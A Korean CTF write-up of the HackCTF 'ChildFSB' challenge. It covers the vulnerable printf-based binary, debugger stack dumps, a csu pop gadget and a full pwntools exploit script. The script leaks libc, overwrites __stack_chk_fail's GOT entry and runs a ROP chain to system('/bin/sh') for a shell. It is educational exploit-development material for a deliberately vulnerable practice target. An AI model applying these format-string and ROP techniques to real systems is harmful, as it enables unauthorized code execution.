본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) ChildFSB writeup

by snwo 2022. 2. 24.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init(argc, argv, envp);
  puts("hello");
  read(0, buf, 0x19uLL);
  printf(buf);
  return 0;
}

baby fsb 문제는, leak&got overwrite 으로 __stack_check_fail 함수에서 메인으로 돌린 뒤,

릭한 주소로 onegadget 을 구해 __stack_check_fail@got 에 덮었다.

이번엔 input size 가 줄어서, 나눠서 덮던가 다른 방법을 써야겠다.

leak&got overwrite → main 돌리는 것 까지는 똑같다.

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4005b0 <puts@plt+0>     jmp    QWORD PTR [rip+0x200a62]        # 0x601018
     0x4005b6 <puts@plt+6>     push   0x0
     0x4005bb <puts@plt+11>    jmp    0x4005a0
 →   0x4005c0 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x200a5a]        # 0x601020
     0x4005c6 <__stack_chk_fail@plt+6> push   0x1
     0x4005cb <__stack_chk_fail@plt+11> jmp    0x4005a0
     0x4005d0 <setbuf@plt+0>   jmp    QWORD PTR [rip+0x200a52]        # 0x601028
     0x4005d6 <setbuf@plt+6>   push   0x2
     0x4005db <setbuf@plt+11>  jmp    0x4005a0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "childfsb", stopped 0x4005c0 in __stack_chk_fail@plt (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005c0 → __stack_chk_fail@plt()
[#1] 0x4007ca → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000000004005c0 in __stack_chk_fail@plt ()
gef➤  x/40gx $rsp
0x7ffc37130418: 0x00000000004007ca      0x7878787878787878
0x7ffc37130428: 0x7878787878787878      0x7878787878787878
0x7ffc37130438: 0x5f2e5b0c7e8cd878      0x00007ffc37130470
0x7ffc37130448: 0x00000000004007ca      0x3831257024313125
0x7ffc37130458: 0x6e68243825633337      0x0000000000601020
0x7ffc37130468: 0x5f2e5b0c7e8cd842      0x00000000004007d0
0x7ffc37130478: 0x00007f3129025bf7      0x0000000000000001
0x7ffc37130488: 0x00007ffc37130558      0x000000010000c000
0x7ffc37130498: 0x000000000040075f      0x0000000000000000
0x7ffc371304a8: 0x03802aa4f3031126      0x0000000000400630
0x7ffc371304b8: 0x00007ffc37130550      0x0000000000000000
0x7ffc371304c8: 0x0000000000000000      0xfc784402f5a31126
0x7ffc371304d8: 0xfde278204bfd1126      0x00007ffc00000000
0x7ffc371304e8: 0x0000000000000000      0x0000000000000000
0x7ffc371304f8: 0x00007f31294058d3      0x00007f31293eb638
0x7ffc37130508: 0x000000000003a3cd      0x0000000000000000
0x7ffc37130518: 0x0000000000000000      0x0000000000000000
0x7ffc37130528: 0x0000000000400630      0x00007ffc37130550
0x7ffc37130538: 0x0000000000400659      0x00007ffc37130548
0x7ffc37130548: 0x000000000000001c      0x0000000000000001

got overwrite 로 __stack_chk_fail 에서 main 으로 점프하는 시점이다.

0x7ffc37130448+8

여기가 이전 main 에서 입력한 페이로드다.

__stack_chk_fail@got → pop * 8 가젯으로 이전 payload 까지 pop 한 뒤, ROP 할 수 있을 것같다.

.text:0000000000400826 loc_400826:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400826                 add     rsp, 8
.text:000000000040082A                 pop     rbx
.text:000000000040082B                 pop     rbp
.text:000000000040082C                 pop     r12
.text:000000000040082E                 pop     r13
.text:0000000000400830                 pop     r14
.text:0000000000400832                 pop     r15
.text:0000000000400834                 retn

csu 에서 리턴하는 부분을 보면, 0x0000000000400826 에 8개를 pop 할 수 있는 가젯이 있다.(add rsp 포함)


exploit

  1. leak & overwrite __stack_chk_fail@got → main
  2. write ROP payload
  3. voerwrite __stack_chk_fail@got → pop * 8
  4. get shell
from pwn import *
import sys

context.binary = binary = "./childfsb"
# context.log_level='debug'
context.arch="amd64"

b=ELF(binary,checksec=False)
if '1' in sys.argv:
    r = remote("ctf.j0n9hyun.xyz", 3037)
    lib = ELF("./libc.so.6", checksec=False)
else:
    r = b.process()
    lib = b.libc

main_2=b.sym['main']&0xffff
pay=f"%11$p%{main_2-14}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x19-len(pay))
print(len(pay))
print(pay)
pause()
r.sendafter("hello\n",pay)
libc_base=int(r.recvn(14),16)-lib.sym['__libc_start_main']
libc_base&=~0xfff
log.info(hex(libc_base))
prdi=b.search(asm("pop rdi; ret")).__next__()
log.info(hex(prdi))
pay=p64(prdi)
pay+=p64(libc_base+lib.search(b"/bin/sh").__next__())
pay+=p64(libc_base+lib.sym['system'])
r.sendline(pay)

pop7=0x0000000000400826&0xffff

pay=f"%{pop7}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x19-len(pay))
r.send(pay)

r.interactive()

# %11$p %12$p %13$p %14$p